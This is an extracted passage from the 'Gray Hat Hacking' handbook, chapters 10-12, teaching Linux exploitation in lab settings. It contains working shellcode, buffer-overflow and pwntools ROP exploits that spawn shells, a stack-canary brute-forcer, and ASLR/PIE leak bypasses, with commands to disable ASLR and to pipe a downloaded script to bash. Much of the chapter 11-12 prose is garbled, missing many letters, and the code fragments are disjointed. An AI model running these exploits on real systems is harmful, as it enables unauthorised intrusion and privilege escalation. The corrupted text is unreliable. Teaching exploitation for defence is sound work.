Pwntools is installed following the procedure described in Chapter 3.
Let’s run meet_exploit.py, which is found in your ~/GHHv6/ch10 folder:
$ python3 meet_exploit.py
[+] Starting local process './meet': pid 50153
[*] Switching to interactive mode
Hello
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
Gray Hat Hacking: The Ethical Hacker’s Handbook
210
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc01 \x17\x80\xeb^\x891\
xc0\x88F\x07F\x0c\x0b\xf3\x8d\x8dV\x0c\x801 \xd8@`\xe8\xdc\xff\xff\xff
$ id
uid=0(root) gid=1000(kali)
groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),
46(plugdev),109(netdev),119(bluetooth),133(scanner),141(kaboxer)
It worked!
What would happen if the vulnerable buffer is too small to use an exploit buffer as previ-
ously described? What if the vulnerable buffer you find is only 10 bytes long? Let’s look
at the following vulnerable code:
//smallbuff.c
#include <string.h>
int main(int argc, char * argv[]){
char buff[10]; //small buffer
strcpy(buff, argv[1]); //vulnerable function call
return 0;
}
Now that we have such a program, how would we exploit it? The answer lies in the
use of environment variables. You could store your shellcode in an environment variable
and then point EIP to that environment variable.
Let’s begin by setting an environment variable called SHELLCODE:
Chapter 10: Basic Linux Exploits
211
$ export SHELLCODE=`python -c 'print "\x90"*24 + "\x31\xc0\x31\xdb\xb0\x17\xcd
\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3
\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff
\xff/bin/sh"'`
Next, we need to get the address pointing to this environment variable. We could
use the gdb command x/20s *((char **)environ), but the offsets will be different in
this environment. Another option is to call libc.getenv from Python using ctypes, but
unfortunately Python 64-bit cannot load 32-bit libraries. Our fastest option is to write
a small C program that will call getenv(“SHELLCODE”):
//getenv.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
PART III
printf("0x%08x\n", (getenv("SHELLCODE") + strlen("SHELLCODE=")));
return 0;
}
Before writing our exploit, let’s open smallbuf with gdb and discover how many bytes
we need to write in order to overwrite EIP:
$ gdb -q ./smallbuff
Reading symbols from ./smallbuff...
(No debugging symbols found in ./smallbuff)
(gdb) r AAAAAAAAAAAAAAAAAABBBB
Starting program: /home/kali/GHHv6/ch10/smallbuff AAAAAAAAAAAAAAAAAABBBB
Now that we know we need 18 bytes to overwrite EIP, let’s finish and execute our
exploit:
#!/usr/bin/env python3
#smallbuf_exploit.py
p = process(["./smallbuff", payload])
p.interactive()
Gray Hat Hacking: The Ethical Hacker’s Handbook
212
$ python3 smallbuff_exploit.py
[+] Starting local process './getenv': pid 231069
[*] Process './getenv' stopped with exit code 0 (pid 231069)
[+] Starting local process './smallbuff': pid 231071
[*] Switching to interactive mode
$ id
uid=0(root) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),
27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(bluetooth),
133(scanner),141(kaboxer)
1. Control the execution flow (EIP register) by identifying a vulnerability that results
in an overflow of a return address.
2. Determine the offset(s) and constrains (bad characters breaking the exploit such
as line feeds, carriage returns, and null bytes).
3. Determine the attack vector.
4. Debug and trace the program’s flow during the overflow.
5. Build the exploit.
6. Test the exploit.
Each vulnerability will have its own constrains and special situations depending on the
nature of the vulnerable program, the compile time flags, the behavior and root cause of
the vulnerable function, and how it transforms the input data causing the exploit.
In this lab, we’re going to look at a sample application you haven’t seen before. The
ch10_6 program we will exploit can be found in your ~/GHHv6/ch10 folder.
When testing applications, we can sometimes find weaknesses just by sending long
strings. In another window, let’s connect to the running binary with netcat:
Chapter 10: Basic Linux Exploits
213
$ nc localhost 5555
--------Login---------
Username: Test
Invalid Login!
Please Try again
Now, let’s use Python to create a very long string and send it as the username with our
netcat connection:
$ python -c 'print("A"*8096)' | nc localhost 5555
--------Login---------
Username: close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr
Our binary behaves differently with a big string. To figure out why, we need to attach
gdb. We will run our vulnerable program in one window, using gdb, and send our
PART III
long string in another window. This program will fork a child process every time a new
connection is accepted. You must instruct gdb to follow the forked child process upon
connection in order to debug the exploit. You do this by running set follow-fork-mode
child in gdb’s interface.
Figure 10-2 shows what happens on the debugger screen when we send the long
string. Using a debugger in one window and our long string in another, we can see that
we have overwritten the saved frame and return address on stack memory, resulting in
control of the EIP and EBP registers upon returning from the vulnerable function.
We now have a classic buffer overflow and have overwritten the EIP. This completes
the first step of the exploit development process. Let’s move to the next step.
Figure 10-2 The debugger screen when we send the long string
Gray Hat Hacking: The Ethical Hacker’s Handbook
214
from pwn import *
context(bits=32, arch='i386')
When we run our binary in gdb again and run the Python script in another window,
we should still experience our crash. If we do, the Python script is working correctly,
and a segmentation fault should have been caused by the EIP being set to an invalid
0x41414141 (AAAA) memory address. Next, we want to figure out exactly how many
characters it takes to overflow the buffer. Instead of achieving this by means of reading
disassembly code, we can overflow the program with a cyclic pattern: a unique sequence
of bytes within a string of a predefined length. The resulting value of the overwritten
EIP will correspond to four unique bytes within the cyclic pattern, which can be easily
located, providing the exact length we should pad our shellcode in order to reach the
saved return address’s offset in the stack.
We will use the Pwntools cyclic function to achieve this in our exploit:
#!/usr/bin/env python3
#ch10_6_exploit.py
from pwn import *
context(bits=32, arch='i386')
Here, we see EIP has been set to 0x63616171, corresponding to the “caaq” sequence
from our cyclic pattern. If you follow the Pwntools installation instruction described
Chapter 10: Basic Linux Exploits
215
in Chapter 2 and execute sudo pip3 install pwntools, you will install the Pwntools
command-line utilities. We can use the Pwntools cyclic command-line tool to find the
offset corresponding to 0x63616171:
$ cyclic -l 0x63616171
264
PART III
We now know that the exact offset is 264 bytes before the EIP will be overwritten. This
gives us the initial padding length we need before sending our EIP overwrite location.
context(bits=32, arch='i386')
shellcode = b"<SHELLCODE>"
nopsled_address = b"BBBB"
We can see that the EIP was overwritten at ❶. At 0xffffd408 ❷, the values are filled
with our NOP instructions. If we jump into the middle of our NOP sled at 0xffffd418 ❸,
it should lead us directly into our shellcode.
context(bits=32, arch='i386')
It worked! After running the exploit, we got back a shell on our own connection.
We can now execute commands in our interactive shell.
PART III
Summary
While exploring the basics of Linux exploits, we have investigated several ways to suc-
cessfully overflow a buffer to gain elevated privileges or remote access. By filling up
more space than a buffer has allocated, we can overwrite the Extended Stack Pointer
(ESP), Extended Base Pointer (EBP), and Extended Instruction Pointer (EIP) to control
elements of code execution. By causing execution to be redirected into shellcode that
we provide, we can hijack execution of these binaries to get additional access. Make sure
you practice and understand the concepts explained in this chapter. In the next chapter,
covering advanced Linux exploits, we will be focusing on more advanced and modern
64-bit Linux exploitation concepts.
11
In this chapter, we cover the following topics:
• Bypassing non-executable stack (NX) with return-oriented programming (ROP)
• Defeating stack canaries
• Address space layout randomization (ASLR) bypass with an information leak
• Position Independent Executable (PIE) bypass with an information leak
Now ha you have he basis unde you be fom eading Chape 10, you ae eady
o sudy moe advaned Linux expois. The fied is advaning onsany, wih new
ehniques aways being disoveed by hakes and ounemeasues being impemened
by deveopes. No mae how you appoah he pobem, you need o move beyond he
basis. Tha said, we an ony go so fa in his book—you jouney is ony beginning.
The “Fo Fuhe Reading” seion a he end of his hape wi give you moe desina-
ions o expoe.
Fis, e’s anayze he vuneabe pogam we wi be using houghou his hape. The
vun. pogam is povided o you in you ~/GHHv6/h11 fode, and in eah ab we wi
eompie i enabing diffeen expoi miigaion ehniques. The vuneabe pogam
is a simpe muiheaded TCP seve ha equess he use o ene a passwod wih a
saighfowad sak ovefow vuneabiiy on he auth funion.
Le’s begin by ompiing he vun. pogam ony wih non-exeuabe sak
(NX) poeion:
$ gcc -no-pie vuln.c -o vuln
$ checksec --file=./vuln
[*] '/home/kali/GHHv6/ch11/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
219
Gray Hat Hacking: The Ethical Hacker’s Handbook
220
To es ha he sevie is up, e’s un i in he bakgound and use nea o onne
o i:
$ ./vuln &
[1] 68430
Listening on 127.0.0.1:4446
$ nc localhost 4446
User Access Verification
Password: test
Invalid Password!
$ killall -9 vuln
[1] + killed ./vuln
We wi disabe addess spae ayou andomizaion (ASLR) o fous on he NX bypass
and hen e-enabe i in Lab 11-4:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Setting Up GDB
We wi be using he GEF pug-in. You an foow he insaaion seps desibed on is
GiHub page:1
$ bash -c “$(curl -fsSL http://gef.blah.cat/sh)“
One his is done, open gdb o onfim ha he GEF sip is downoaded and added
o you ~/.gdbini:
$ gdb -q
GEF for linux ready, type `gef' to start, `gef config' to configure
96 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
gef➤
Sine he vuneabe pogam is muiheaded, we need o e gdb o debug he hid
poess afe he fok when a new TCP ien is onneed by using he ommand set
follow-fork-mode child,2 as shown nex:
$ gdb ./vuln -q -ex “set follow-fork-mode child“ -ex “r“
GEF for linux ready, type `gef' to start, `gef config' to configure
96 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
Starting program: /home/kali/GHHv6/ch11/vuln
Listening on 127.0.0.1:4446
Overwriting RIP
In Chape 10 we foused on expoiing 32-bi binaies, bu in his hape we fous
on 64-bi binay expoiaion. The fis diffeene you may noie is ha egise names
begin wih R. To expoi he buffe ovefow vuneabiiy, we need o ovewie RIP.
Chapter 11: Advanced Linux Exploits
221
Whie unning gdb, open a new window and onne o he vuneabe TCP seve
and send 200 byes using he Pwnoos yi paen ommand:
$ cyclic -c amd64 200|nc localhost 4446
NOTE If the cyclic command is not found, make sure to install Pwntools
with sudo following the installation guide.3
On he window unning gdb, you shoud see a segmenaion vioaion. Le’s use
GEF’s bui-in paen seah ommand o see how many byes need o be wien befoe
ovewiing RIP:
PART III
[#0] Id 1, Name: “vuln”, stopped 0x4012f7 in auth (), reason: SIGSEGV
───────────────────────────────────────────────── trace ────
[#0] 0x4012f7 → auth()
───────────────────────────────────────────────────────────
gef➤ pattern search $rsp
[+] Searching for '$rsp'
[+] Found at offset 120 (little-endian search) likely
gef➤
NOTE Once you crash the program, remember to run killall -9 vuln after
you exit gdb and then relaunch gdb with the same parameters.
Le’s begin wiing ou expoi wih he knowedge we have so fa:
from pwn import *
context(os='linux', arch='amd64')
r.sendafter(“Password: “, payload)
Save and un he Pyhon sip, and on you gdb window you shoud be abe o ove-
wie RIP wih fou Bs:
[!] Cannot access memory at address 0x42424242
─────────────────────────────────────────────── threads ────
[#0] Id 1, Name: “vuln”, stopped 0x42424242 in ?? (), reason: SIGSEGV
gef➤
Gray Hat Hacking: The Ethical Hacker’s Handbook
222
Noie ha in he fis ommand, he RW fags ae se in he Exeuabe and Link-
abe Foma (ELF) makings, and in he seond ommand (wih he –z execstack fag),
he RWE fags ae se in he ELF makings. The fags sand fo ead (R), wie (W), and
exeue (E).
Wih NX enabed, he expoi wih a sheode used in Chape 10 woudn’ wok.
Howeve, we an use muipe ehniques o bypass his poeion. In his ase, we wi
bypass NX wih eun-oiened pogamming (ROP).
ROP is he suesso o he eun-o-ib ehnique. I is based on onoing he
fow of he pogam by exeuing fagmens of ode found in memoy known as gadgets.
Gadges usuay end in he RET insuion, bu in some siuaions, gadges ending in
JMP o CALL migh aso be usefu.
In ode o suessfuy expoi he vuneabe pogam, we wi need o ovewie
RIP wih he addess of he gib’s system() funion and pass /bin/sh as an agumen.
Passing agumens o funions in 64-bi binaies is diffeen han in 32-bi mode,
whee if you ono he sak, you aso ono funion as and agumens. In 64-bi
binaies, agumens ae passed in egises in he ode RDI, RSI, RDX, RCX, R8, R9,
whee RDI is he fis agumen, RSI he seond, and so on.
Insead of manuay seahing fo gadges, e’s finish wiing ou expoi wih he hep
of Pwnoos o simpify he poess of finding he needed gadges and buiding ou ROP
hain.
Run gdb and hen beak using ctrl-c:
$ gdb ./vuln -q -ex “set follow-fork-mode child” -ex “r”
...
Listening on 127.0.0.1:4446
^C
Program received signal SIGINT, Interrupt.
[#1] 0x401497 → main()
────────────────────────────────────────────────
gef➤
Chapter 11: Advanced Linux Exploits
223
Le’s dispay he ib base addesses and oninue exeuion:
gef➤ vmmap libc
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00007ffff7def000 0x00007ffff7e14000 0x0000000000000000 r-- .../libc-2.31.so
...
gef➤ c
Continuing.
PART III
context(os='linux', arch='amd64')
libc = ELF(“/lib/x86_64-linux-gnu/libc.so.6”)
libc.address = 0x00007ffff7def000
rop = ROP(libc)
rop.system(next(libc.search(b”/bin/sh”)))
log.info(f”ROP Chain:\n{rop.dump()}”)
payload = b”A”*120
payload += bytes(rop)
r.sendafter(“Password: “, payload)
r.interactive()
This is happening beause he she is ineaing wih he fie desipos 0, 1,
and 2 fo sandad inpu (STDIN), sandad oupu (STDOUT), and sandad eo
(STDERR), bu he socket is using fie desipo 3 and accept is using fie desipo 4.
To sove his, we wi modify ou ROP hain o a he dup2() funion befoe aing
system(“/bin/sh”), as shown nex. This wi dupiae he fie desipo of accept o
STDIN, STDOUT, and STDERR.
from pwn import *
context(os='linux', arch='amd64')
libc = ELF(“/lib/x86_64-linux-gnu/libc.so.6”)
libc.address = 0x00007ffff7def000
rop = ROP(libc)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.dup2(4, 2)
rop.system(next(libc.search(b”/bin/sh”)))
log.info(f”ROP Chain:\n{rop.dump()}”)
payload = b”A”*120
payload += bytes(rop)
r.sendafter(“Password: “, payload)
r.interactive()
I woked! We wee abe o bypass he NX sak poeion by using a simpe ROP
hain. I’s woh menioning ha hee ae ohe ways o bypass NX; fo insane, you
oud a mprotect o disabe NX on he memoy oaion you ono, o you oud use
he sigreturn sysa o push a new onoed onex wih NX disabed.
PART III
Lab 11-3: Defeating Stack Canaries
SakGuad is based on a sysem of paing “anaies” beween he sak buffes and he
fame sae daa. If a buffe ovefow aemps o ovewie RIP, he anay wi be dam-
aged and a vioaion wi be deeed.
The foowing iusaion shows a simpified ayou of how he anay is paed befoe
he saved fame poine (SFP) and RIP. Remembe ha SFP is used o esoe he base
poine (RBP) o he aing funion’s sak fame.
Buffer Canary SFP RIP
Now, we an un he expoi we have wien so fa and see he sak anay poeion
in aion, bu fis e’s make a opy of ou expoi:
$ cp exploit1.py exploit2.py
$ python3 exploit2.py
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
...
$
As expeed, he expoi faied beause he hid poess ashed wih he eo “sak
smashing deeed ***: eminaed,” as shown hee:
$ ./vuln
Listening on 127.0.0.1:4446
*** stack smashing detected ***: terminated
Gray Hat Hacking: The Ethical Hacker’s Handbook
226
To bypass his poeion, we need o eak o bue-foe he anay in ode o epai
i. Beause he anay is defined when he pogam is oaded and he TCP seve is
muiheaded, evey hid poess wi keep he same anay as is paen poess. We wi
ake advanage of his behavio o bue-foe he anay.
The bue-foe saegy is as foows:
1. Idenify how many byes need o be wien befoe smashing he anay. The
anay is paed befoe SFP and RIP.
2. Ieae fom 0 o 255, ooking fo he nex vaid bye. If he bye is invaid, we
wi beak he anay and he hid wi be eminaed. If he bye is vaid, he
TCP seve wi eun “Invaid Passwod.”
Le’s fis open he pogam wih gdb and se a beakpoin befoe he anay is heked:
$ gdb ./vuln -q -ex “set follow-fork-mode child”
gef➤ disas auth
Dump of assembler code for function auth:
0x0000000000401262 <+0>: push rbp
0x0000000000401263 <+1>: mov rbp,rsp
0x0000000000401266 <+4>: sub rsp,0x90
0x000000000040126d <+11>: mov DWORD PTR [rbp-0x84],edi
0x0000000000401273 <+17>: mov rax,QWORD PTR fs:0x28
0x000000000040127c <+26>: mov QWORD PTR [rbp-0x8],rax
0x0000000000401280 <+30>: xor eax,eax
...
0x0000000000401321 <+191>: mov rsi,QWORD PTR [rbp-0x8]
0x0000000000401325 <+195>: sub rsi,QWORD PTR fs:0x28
0x000000000040132e <+204>: je 0x401335 <auth+211>
0x0000000000401330 <+206>: call 0x401080 <__stack_chk_fail@plt>
0x0000000000401335 <+211>: leave
0x0000000000401336 <+212>: ret
End of assembler dump.
gef➤ b *auth+195
Breakpoint 1 at 0x401325
gef➤ r
Starting program: /home/kali/GHHv6/ch11/vuln
Listening on 127.0.0.1:4446
Password:
Now go bak o you gdb window. You an see ha RSI is hoding he 8 byes ha
smashed he anay. Le’s use he paen seah ommand o find ou how many byes
we need o wie befoe ovewiing he anay:
gef➤ pattern search $rsi
[+] Searching for '$rsi'
[+] Found at offset 72 (little-endian search) likely
Chapter 11: Advanced Linux Exploits
227
Le’s modify ou expoi:
from pwn import *
context(os='linux', arch='amd64')
try:
❷ if r.recvrepeat(0.1)[:7] == b”Invalid”:
return True
except EOFError:
❸ return False
PART III
finally:
if interactive:
r.interactive()
else:
r.close()
progress.success(repr(leaked_bytes))
libc = ELF(“/lib/x86_64-linux-gnu/libc.so.6”)
libc.address = 0x00007ffff7def000
rop = ROP(libc)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.dup2(4, 2)
rop.system(next(libc.search(b”/bin/sh”)))
log.info(f”ROP Chain:\n{rop.dump()}”)
11 payload
● = b”A”*72
payload += leak_bytes(payload, “Canary”)
payload += p64(0xBADC0FFEE0DDF00D) #SFP
payload += bytes(rop)
12 exploit(payload, True)
●
Le’s eview he hanges we made o ou expoi. A ❶, we wie an exploit fun-
ion ha akes wo agumens: he payoad o be sen and whehe o no we need o
aivae he ineaive mode. This funion wi onne, send he payoad, and eun
Gray Hat Hacking: The Ethical Hacker’s Handbook
228
True if he TCP seve euns “Invaid” ❷. This means ha he uen anay is vaid;
ohewise, i euns False ❸ o oninue he ieaion.
A ❹, we wie a leak_bytes funion ha akes wo agumens: he payoad pefix
and he name of he byes we ae eaking. I wi ieae eigh imes (o eak 8 byes) ❺,
fom 0 hough 255 ❻, sending payload + current_byte ❼. If exploit euns True, we
add his bye o he uen payoad ❽ and hen inse i ino a leaked_bytes aay ❾.
One i’s done ❿, i wi eun he leaked_bytes aay.
11 , we eae he new payoad wih 72 As + he eaked anay + 8 byes of padding +
A ●
ou pevious ROP hain. Finay, a ●12 , we a he exploit funion wih he fina payoad
and speify ha he ineaive mode shoud be enabed.
Le’s un he vuneabe pogam in one window and ou expoi2.py in anohe window:
$ python3 exploit2.py
...
[+] Canary: ['0x76', '0x8e', '0x10', '0xaf', '0x1c', '0xc1', '0xee', '0x0']
[*] Leaked Canary = 0x768e10af1cc1ee00
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo)...
We go i! We wee abe o epai he anay by bue-foing i. Now ou expoi is
abe o bypass wo expoi miigaion ehniques: NX and sak anay. Nex, we wi
enabe and bypass ASLR.
Addess spae ayou andomizaion (ASLR) is a memoy poeion ono ha an-
domizes he memoy oaions of he ode segmen, sak segmen, heap segmens, and
shaed objes as we as andomizes mmap() mappings. In ou expoi, we wee using a
fixed ib base addess, bu ha won’ wok anymoe beause we won’ be abe o find he
addess of he dup2, sysem, and /bin/sh.
Fis, e’s enabe ASLR and opy expoi2.py o expoi3.py:
$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
$ cp exploit2.py exploit3.py
Stage 1
In sage 1 of he expoi, we wi do he foowing:
PART III
In sho, we wi a write@plt o pin he write@got addess. By eaking his ib
addess, we an auae he ib base by subaing <leaked address> fom <address
of the write symbol>, as shown hee:
$ readelf -a /lib/x86_64-linux-gnu/libc.so.6|grep __write
178: 00000000000eef20 157 FUNC WEAK DEFAULT 14 __write@@GLIBC_2.2.5
Stage 2
In sage 2, we wi euse he same ROP hain fom ou pevious expoi2.py. You an find
he fu soue of ou expoi3.py fie in you ~/GHHv6/h11 fode. Hee ae he mos
eevan hanges o he fie:
...
elf = ELF(“./vuln”)
libc = ELF(“/lib/x86_64-linux-gnu/libc.so.6”)
payload = b”A”*72
payload += leak_bytes(payload, “Canary”)
payload += p64(0xBADC0FEE0DDF00D) #SFP
s1_rop = ROP(elf)
❶s1_rop.write(4, elf.got.write)
log.info(f”Stage 1 ROP Chain:\n{s1_rop.dump()}”)
s2_rop = ROP(libc)
s2_rop.dup2(4, 0)
s2_rop.dup2(4, 1)
s2_rop.dup2(4, 2)
s2_rop.system(next(libc.search(b”/bin/sh”)))
Posiion Independen Exeuabe (PIE) heps defea ROP aaks by andomizing he
oaion of memoy mappings wih eah un of he pogam. Evey ime you un he
vuneabe pogam, i wi be oaded ino a diffeen memoy addess.
In ou pevious ab, we enabed ASLR, bu sine PIE was disabed, i was vey easy o
buid ou ROP hain o eak ib beause he pogam was aways oaded ino he same
memoy addess.
Le’s enabe PIE and opy ou expoi3.py o expoi4.py:
$ gcc -fstack-protector vuln.c -o vuln
$ cp exploit3.py exploit4.py
If you y unning expoi3.py, i wi fai beause he expoi doesn’ know he pogam’s
base addess. We oud bypass his poeion if we find an info eak ha heps us auae
he pogam’s base addess. Theefoe, we wi use he foowing saegy:
1. Use he leak_bytes funion o ge he addesses of anay, SFP, and RIP.
We ae ineesed in eaking RIP beause afe auth, i euns o he pogam’s
main funion.
2. Cauae he pogam’s base addess by subaing <leaked RIP> fom <distance
to program base>.
3. Assign he esu o elf.address.
You an find he fu soue of ou expoi4.py fie in you ~/GHHv6/h11 fode.
Hee ae he mos eevan hanges o he fie:
...
elf = ELF(“./vuln”)
libc = ELF(“/lib/x86_64-linux-gnu/libc.so.6”)
payload = b”A”*72
payload += leak_bytes(payload, “Canary”)
❶payload += leak_bytes(payload, “SFP”)
A ❶, we eak SFP afe he anay; we need i o be pa of ou payoad o oninue
eaking RIP. In ode o make hings moe pediabe, sine we know ASLR won’ hange
he eas signifian bye, we eak RIP and ovewie he eas signifian bye wih 0x6d
❷ beause we ae sue i neve hanges:
$ gdb -q ./vuln
gef➤ disas main
...
0x0000000000001568 <+542>: call 0x1275 <auth>
0x000000000000156d <+547>: cmp eax,0x1
...
PART III
NOTE The least significant bit (LSB) could be different in your environment.
Make sure you get the right one.
A ❸ we auae he pogam’s base addess by subaing he disane fom he base
addess o he eaked RIP. Hee is a way o ge he disane beween he eaked RIP and
he pogam’s base addess:
1. Run ./vuln in a window.
2. Exeue you expoi4.py in a seond window. Don’ woy if he expoi fais.
3. Open a hid window and aunh gdb:
$ gdb -p `pidof vuln`
4. Run he vmmap vuln ommand:
gef➤ vmmap vuln
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00005616e3dc4000 0x00005616e3dc500... r-- /home/kali/GHHv6/ch11/vuln
...
5. Copy he Fixed leaked_rip addess and suba he vun pogam’s base addess:
gef➤ p 0x5616e3dc556d-0x00005616e3dc4000
$1 = 0x156d
$ python3 exploit4.py
[*] '/home/kali/GHHv6/ch11/vuln'
...
[+] Canary: ['0x2', '0xeb', '0xa3', '0x61', '0x99', '0x99', '0x87', '0x0']
[*] Leaked Canary = 0x2eba36199998700
[+] SFP: ['0x0', '0x0', '0x7f', '0xfc', '0xb3', '0xdc', '0x9b', '0x80']
[*] Leaked SFP = 0x7ffcb3dc9b80
[+] RIP: ['0x0', '0x0', '0x55', '0xa5', '0xb1', '0x7', '0xf5', '0x68']
[*] Leaked RIP = 0x55a5b107f568
[*] Fixed leaked_rip = 0x55a5b107f56d
[*] elf.address = 0x55a5b107e000
...
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo)...
I woked! Now we have suessfuy bypassed ASLR, PIE, NX, and sak anaies.
Gray Hat Hacking: The Ethical Hacker’s Handbook
232
In ase you’e wondeing, he Reoaion Read Ony (RELRO) expoi miigaion
ehnique poes binaies fom GOT ovewies, bu even if fu RELRO is enabed,
i won’ sop us fom geing ode exeuion beause GOT ovewie was no pa of
ou saegy.
Summary
In his hape we used a muiheaded pogam vuneabe o a basi sak ovefow o
expoe how he expoi miigaion ehniques ASLR, PIE, NX, and sak anaies wok
and how o bypass hem.
By ombining hese ehniques, we now have a bee ooki fo deaing wih ea-
wod sysems, and we have he abiiy o eveage hese ompex aaks fo moe sophis-
iaed expois. Beause poeion ehniques hange and he saegies o defea hem
evove, he “Fo Fuhe Reading” seion has addiiona maeia fo you o eview o
bee undesand hese ehniques.
References
1. hps://gihub.om/hugsy/gef
2. hps://souewae.og/gdb/oninedos/gdb/Foks.hm
3. hps://dos.pwnoos.om/en/sabe/insa.hm
Linux Kernel Exploits
CHAPTER
12
In this chapter, we cover the following topics:
• Return-to-user (ret2usr)
• Defeating Stack Canaries
• Bypassing Supervisor Mode Execution Protection (SMEP) and Kernel Page-Table
Isolation (KPTI)
• Bypassing Supervisor Mode Access Prevention (SMAP)
• Defeating kernel address space layout randomization (KASLR)
The Linux kene offes an enomous oppouniy fo expoiaion. Despie i being
a bi inimidaing, he expoiaion pinipes emain he same as use-spae memoy
oupion bugs and is unonsained aess o memoy and ohe esoues povide
aakes wih unimied powe ove affeed sysems. The vuneabe ode and seuiy
bugs an be found on kene modues, dives, sysem as, and ohe memoy manage-
men impemenaions.
In a onsan aemp o make he Linux kene moe seue, many seuiy impove-
mens and expoi miigaion feaues have been impemened. Howeve, eseahes
have found muipe eaive ways o iumven hese seuiy boundaies.
233
Gray Hat Hacking: The Ethical Hacker’s Handbook
234
Fis, insa QEMU by unning he foowing ommands on a oo she:
$ sudo apt-get update && sudo apt-get -y install qemu qemu-system
Nex, in he ~/GHHv6/h12 fode, you wi find a she sip fie ha uns a
QEMU expoiaion age onfigued wih he miigaions opions oesponding o
eah ab:
• run1.sh A usom Linux kene wih Sak Canaies disabed and a vuneabe
kene modue wih no expoi miigaions enabed, suiabe o expoi a simpe
e2us ehnique. This wi guide us hough he basis of piviege esaaion
expois, whih wi hep us undesand he easoning behind eah expoi
miigaion and seuiy impovemen he kene has gone hough he yeas.
• run2.sh This ab uns he same kene modue, bu he kene was eompied
o enabe Sak Canaies expoi miigaion.
• run3.sh Sak Canaies, SMEP, and KPTI expoi miigaions enabed
• run4.sh Sak Canaies, SMEP, KPTI, and SMAP expoi miigaions enabed
• run5.sh Sak Canaies, SMEP, KPTI, SMAP, and KASLR expoi miigaions
enabed
NOTE These scripts assume you have cloned the GitHub repository into
/home/kali/GHHv6. If you have cloned it into some other directory, you will
need to manually update each of the .sh files.
To simpify he fie-shaing poess beween he gues and hos, he usom kene
is ompied wih Pan 9 Fiesysem Pooo, wih VIRTIO anspo modue sup-
po. QEMU wi auomaiay moun he shaed fode in he use’s home dieoy.
In his shaed fode, you an aso find he finished expois fo eah ab pesened in
his hape.
Hee ae some ohe impoan fies ha ae povided:
NOTE Be sure to follow the steps in Chapter 11 to make sure GDB and the
GEF plug-in are correctly installed before you proceed.
One you insa GDB and GEF, you shoud be abe o aah o QEMU’s debugging
seve by unning he ommand target remote :1234 on you GDB onsoe.
The kene modue exposes he inefae /po/ghh and is vuneabe by design wih
vey easy o idenify and expoi abiay ead and abiay wie vuneabiiies. The
idea of he abs is o fous on undesanding he expoi miigaion feaues in he kene
PART III
and how o bypass hem, ahe han finding he vuneabiiies. Le’s aunh QEMU and
GDB o undesand a bi moe abou how he modue woks:
1. Open a emina in you ~/GHHv6/h12 fode, exeue he un1.sh sip, and
is he modue’s expoed funions:
$ ./run1.sh
SeaBIOS (version 1.14.0-2)
...
~ $ grep ghh /proc/kallsyms
0000000000000000 t ghh_write
0000000000000000 t ghh_read
0000000000000000 t ghh_init
0000000000000000 t ghh_cleanup
...
2. Open a new emina window in he same fode, aah GDB o he QEMU’s
GDB seve, and disassembe he ghh_write and ghh_read funions:
$ gdb ./stackprotector-disabled/vmlinux
